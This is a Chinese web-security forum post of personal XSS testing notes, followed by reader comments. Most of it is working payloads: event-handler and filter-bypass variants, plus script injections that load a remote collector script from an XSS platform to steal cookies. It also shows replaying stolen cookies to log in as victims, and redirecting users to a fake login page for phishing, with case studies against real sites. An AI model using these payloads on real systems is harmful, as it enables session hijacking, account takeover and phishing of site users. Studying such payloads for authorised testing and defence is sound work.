【漏洞研究】[Web安全]XSS小记
本篇文章奖金:600元,投稿邮箱:[email protected];
如需要转载,请先联系先知技术社区授权;未经授权请勿转载。
XSS小记
作者:fresh
0x00 引言x
当前的情况下,测试漏洞时遇到sql注入的可能性较小,但xss的可能性就比较大。
于是就把自己平时测试xss漏洞的一些语句,记录下来。附带大牛《XSS高级教程打包》 ,求轻喷!
0x01 要点
多结合输入与输出的值进行比较,达到闭合的条件。
查看输出位置:查看源码处与F12查看元素处,结合搜索功能快速锁定位置。
0x02 常用事件
script类
<script>alert("xss")</script>
<script>alert(/xss/)</script>//双引号换成斜杠
<script>alert('xss')</script>//用单引号
<script>alert("xss");</script>//用分号
<script>alert('xss');</script>
<script>alert(/xss/);</script>
<script>alert("jdq")//自动补全
<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//用分号
<script>alert("xss");;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//空格+分号
<script>alert("xss");;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//换行符
<script>alert("xss");;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;</script>//回车
On事件
On事件大全,平时遇到很多的xss黑名单的过滤时,我们就需要多使用一些不常见的on事件来触发。
HTML DOM 事件对象一览表,打开下列地址(即可获得):
http://www.ziqiangxuetang.com/jsref/dom-obj-event.html
总结一些常用于触发的事件类型有
Onmouseover
当鼠标指针移动到标签上时执行一段 JavaScript,如:<p onmouseover="alert(1)" ></p>
onmouseover 属性不适用以下元素:<base>、<bdo>、<br>、<head>、<html>、<meta>、<param>、<script>、<style> 或 <title>。
Onclick
事件会在对象被点击时发生。<a>, <address>, <area>, <b>, <bdo>,<big>, <blockquote>, <body>, <button>,
<caption>, <cite>, <code>,<dd>, <dfn>, <div>, <dl>, <dt>, <em>,<fieldset>,
<form>, <h1> to<h6>, <hr>, <i>, <img>, <input>, <kbd>,<label>, <legend>,
<li>, <map>,<object>, <ol>, <p>, <pre>, <samp>,<select>, <small>, <span>,
<strong>, <sub>,<sup>, <table>, <tbody>, <td>, <textarea>,<tfoot>, <th>,
<thead>, <tr>,<tt>, <ul>, <var>
Onload
页面加载之后立即执行一段 JavaScript:
<bodyonload="load()">
onerror
如果在加载图片时发生错误则执行 JavaScript :
<img src="image.gif"onerror="myFunction()">
ondrag
在 <p> 元素开始拖动时执行 JavaScript:
<p draggable="true" ondrag="alert(1)">Dragme!</p>
onhashchange
当锚部分发生变化时执行 JavaScript:
<body/onhashchange=alert(1)><ahref=#>clickit
0x03 获取信息及xss平台使用
测试代码
测试弹框:alert(1)
获取cookie :
document.cookie
获取html中id的信息:
document.getElementById('header_search').innerHTML
两者结合:
alert(document.cookie+document.getElementById('header_search').innerHTML)
xss平台获取cookie
平常可能这个就是用的最多的方式了。
前提我们已经找到一个xss可利用的点后,我们现在可通过网上的xss平台或者自己搭建的平台来接受cookie。获取到cookie后模拟登陆
过程
----------------------------
访问xss平台,在线免费平台(http://webxss.net/index.php?do=login)创建一个项目,自己命一个名。
选择默认板块,他将会给你提示,怎么使用,你可以直接在找到的地方如下进行利用即可,
如果遇到过滤、waf等,需要自己绕过后,将其中的src后的地址添加进自己的payload
如xss平台payload:
<script src=http://t.cn/RcJWDDP></script>
当过滤了<script>后怎么利用呢?
可以考虑如下:
<a onmouseover=s=createElement('script');body.appendChild(s);s.src=http://t.cn/RcJWDDP>sss</a>
其他标签xss类似,只需将alert(1)改为
s=createElement('script');body.appendChild(s);s.src= http://t.cn/RcJWDDP
即可
查看打到的结果:下图可以获得的信息有cookie值、URL地址、Reffer、远程IP地址
接下来我们又怎么利用呢?
可以使用k8飞刀的cookie登陆,
也可使用burp截断数据包,修改其中的URL地址与cookie信息,进行的登陆。
注意事项
-----------------
当网站的cookie值采用httponly时是获取不到cookie的值。
0x04 常用的paylod
<img src=1onmouseover=alert(1)>
<a herf=1onload=alert(1)>xx</a>
<body/onhashchange=alert(1)><ahref=#>clickit (当锚出现变化时触发弹框)
<objectdata="data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4="></object>
"><svg/onload=alert(/1/)>
Input标签xss(autofocus自动触发,注意属性hidden时,无法触发)
112" name=javascript:alert(1)autofocus onfocus=location=this.name
112" name=javascript:alert`1`autofocus onfocus=location=this.name
富文本xss:
<span class="yyy "onmouseover=alert(1);//"></span>
markdown xss:
输入:[test](javascript://%0d%0aprompt(1);com)
输出:<ahref="javascript://%0d%0aprompt(1);com">test</a>
0x05 其他资源
富文本xss在年初特别火有许多的编辑器都存在相关漏洞,平时多关注最新的xss。
http://www.tuicool.com/articles/yIBNrmQ
markdown xss :http://www.freebuf.com/articles/web/58687.html
附件:XSS高级教程打包.rar
0x06xss挖掘实例
Input xss(曾发表在I春秋上)
最近在测试某厂商漏洞时,遇到input xss 情况,由于之前未遇到过,故分享。
漏洞存在职位搜索页面,burp抓取到的数据如下:
地址:http://xxxx.com/rps-xxx/position/show_position_new.htm?type=1
post数据:
pageNumber=1&type=1&jobAddress=&poTypeSecond=&groupCode=01&pageSize=10&searchParam=aaaaa
上处aaaaa标红的地方为输入的地方,正常查询后,审查元素结果如下:
经测试发现:
1.存在< ,即报错。 只能在input中利用
2.支持双引号 可闭合参数
3.出现 onmouseover onload onerror 等号的内容不显示,如输入 " onmouseover=alert(1) => onmouseover 测试发现onfocus可用,autofocus自动触发
4.过滤了圆括号() URL编码后也不能绕过,直接报错 采用外部链接
5.过滤了 http:// ///替代http
参照网上大牛的payload:
xxxxxxxxxx"name=javasCript:alert%281%29 autofocus onfocus=location=this.name xx
直接利用是不行的,因为禁用了圆括号 包括%28%29
后续修改参数中 name的值
最终的payload如下:
aaaaa" name=///www.baidu.com autofocusonfocus=location=this.name xs=
效果是用户提交过后自动跳转到百度页面。
-----------------------------
这样的漏洞比较鸡肋,利用起来有一定的难度,个人觉得可用于钓鱼。
即:
跳转页面,换为一个模仿登陆口的页面,欺骗用户登录。
为了达到这效果,payload中的跳转链接,可使用data:text/html; 这样的为协议来达到效果
如:
aaaaa"name=data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4=autofocus onfocus=location=this.name xs=
----------------------------------
更新:鉴于有朋友提到,后面t00ls大牛提醒后,确实可以绕过
xxxxxxxxxx"name=javasCript:alert`1` autofocus onfocus=location=this.name xx
拓展文章:http://static.hx99.net/static/bugs/wooyun-2016-0167250.html
markdown xss
1、漏洞发现方式
因帖子回复支持makedown
在回复留言的地方回复已下语句:
[test](javascript://%0d%0aprompt(document.cookie);com)
即可植入一个存储型的xss
2、漏洞证明
测试数据已删除
基于discuz二次开发xss
遇到某src的bbs系统,是discuz的cms模板,其他发帖的功能与平时相同,但是他增加了一个插入应用的功能,如下所示:
触发条件:onhashchange当页面锚部分发生变化时执行JavaScript
当时是黑名单过滤了on相关事件,后利用比较生僻的onhashchange绕过,多尝试下,可以直接用onxxxxxxxx这类直接看是否过滤。
附件:《XSS高级教程打包》
链接: http://pan.baidu.com/s/1hsC0dlM 密码: cxux
------------------------------
欢迎大家多多交流!
blog:fr1sh.com
学习啦,赞楼主!
欢迎更多白帽子投稿
欢迎更多白帽子投稿
可以多写写刷各大src的奇技淫巧
666
希望先知论坛的书写版本再规范下,我有强迫症哈哈
收到。感谢建议~
fresh你跑先知来了啊哈哈
- 经测试发现:
- 1.存在< ,即报错。 只能在input中利用
- 2.支持双引号 可闭合参数
- 3.出现 onmouseover onload onerror 等号的内容不显示,如输入 " onmouseover=alert(1) => onmouseover 测试发现onfocus可用,autofocus自动触发
- 4.过滤了圆括号() URL编码后也不能绕过,直接报错 采用外部链接
- 5.过滤了 http:// ///替代http
- 参照网上大牛的payload:
- xxxxxxxxxx"name=javasCript:alert%281%29 autofocus onfocus=location=this.name xx
- 直接利用是不行的,因为禁用了圆括号 包括%28%29
- 后续修改参数中 name的值
- 最终的payload如下:
- aaaaa" name=///www.baidu.com autofocusonfocus=location=this.name xs=
- 效果是用户提交过后自动跳转到百度页面。
- -----------------------------
- 这样的漏洞比较鸡肋,利用起来有一定的难度,个人觉得可用于钓鱼。
- 即:
- 跳转页面,换为一个模仿登陆口的页面,欺骗用户登录。
- 为了达到这效果,payload中的跳转链接,可使用data:text/html; 这样的为协议来达到效果
- 如:
- aaaaa"name=data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL3QuY24vUkd1V0REUz48L3NjcmlwdD4=autofocus onfocus=location=this.name xs=
这段确认不是在搞笑呢么。。。
看到前面说有那么多过滤,然后发到i春秋,还挺期待。
结果看到最后,说你也不行,然后就直接跳转到其他url,也是醉了。。。
- 直接利用是不行的,因为禁用了圆括号 包括%28%29
这样不行为啥不试试别的姿势,比如unicode 或者字符串拆分等......
技术交流QQ群: 397745473
来自:https://xianzhi.aliyun.com/forum/read/196.html?fpage=9
评论
发表评论